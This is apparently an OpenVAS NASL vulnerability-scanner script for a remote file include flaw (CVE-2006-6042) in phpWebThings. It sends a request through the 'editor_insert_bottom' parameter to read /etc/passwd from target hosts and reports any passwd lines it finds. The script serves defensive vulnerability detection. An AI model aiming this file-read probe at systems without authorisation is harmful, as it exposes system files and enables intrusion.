The remote web server contains a PHP script that is affected by a
remote file include issue.
Description:
The remote web server is running phpWebThings, a PHP based photo
gallery management system.
The version of phpWebThings installed on the remote host fails to
sanitize input to the ‘editor_insert_bottom’ parameter before using it
in the ‘core/editor.php’ script to include PHP code. Provided PHP’s
‘register_globals’ setting is enabled, an unauthenticated attacker can
exploit this issue to view arbitrary files and execute arbitrary code,
possibly taken from third-party hosts, on the remote host.
# OpenVAS Vulnerability Test
# $Id: phpwebthings_rfi.nasl 5779 2017-03-30 06:57:12Z cfi $
# Description: phpWebThings editor_insert_bottom Parameter Remote File Include Vulnerability
#
# Authors:
# Justin Seitz <[email protected]>
#
# Copyright:
# Copyright (C) 2006 Justin Seitz
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "The remote web server contains a PHP script that is affected by a
remote file include issue.
Description:
The remote web server is running phpWebThings, a PHP based photo
gallery management system.
The version of phpWebThings installed on the remote host fails to
sanitize input to the 'editor_insert_bottom' parameter before using it
in the 'core/editor.php' script to include PHP code. Provided PHP's
'register_globals' setting is enabled, an unauthenticated attacker can
exploit this issue to view arbitrary files and execute arbitrary code,
possibly taken from third-party hosts, on the remote host.";
tag_solution = "No patches or upgrades have been reported by the vendor at this time.";
if(description)
{
script_id(80078);
script_version("$Revision: 5779 $");
script_tag(name:"last_modification", value:"$Date: 2017-03-30 08:57:12 +0200 (Thu, 30 Mar 2017) $");
script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
script_tag(name:"cvss_base", value:"6.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2006-6042");
script_bugtraq_id(21178);
script_xref(name:"OSVDB", value:"30503");
script_name("phpWebThings editor_insert_bottom Parameter Remote File Include Vulnerability");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2006 Justin Seitz");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
script_xref(name : "URL" , value : "http://milw0rm.com/exploits/2811");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80);
if(!can_host_php(port:port)) exit(0);
file = "/etc/passwd";
foreach dir( make_list_unique( "/phpwebthings", "/webthings", "/phpwt", "/things", cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
req = http_get(item:string(dir, "/core/editor.php?editor_insert_bottom=", file),port:port);
res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
if (res == NULL) continue;
if (egrep(pattern:"root:.*:0:[01]:", string:res) ||
string("main(", file, "): failed to open stream: No such file") >< res ||
"open_basedir restriction in effect. File(" >< res) {
passwd = "";
if (egrep(pattern:"root:.*:0:[01]:", string:res))
passwd = egrep(pattern:"^[a-z_0-9$-]+:.*:[0-9]*:[0-9]*:.*:", string:res);
if (passwd) {
if (dir == "") dir = "/";
info = string("The version of phpWebThings installed in directory '", dir, "'\n",
"is vulnerable to this issue. Here are the contents of /etc/passwd\n",
"from the remote host :\n\n", passwd);
}
else info = "";
security_message(data:info, port:port);
exit(0);
}
}
exit( 99 );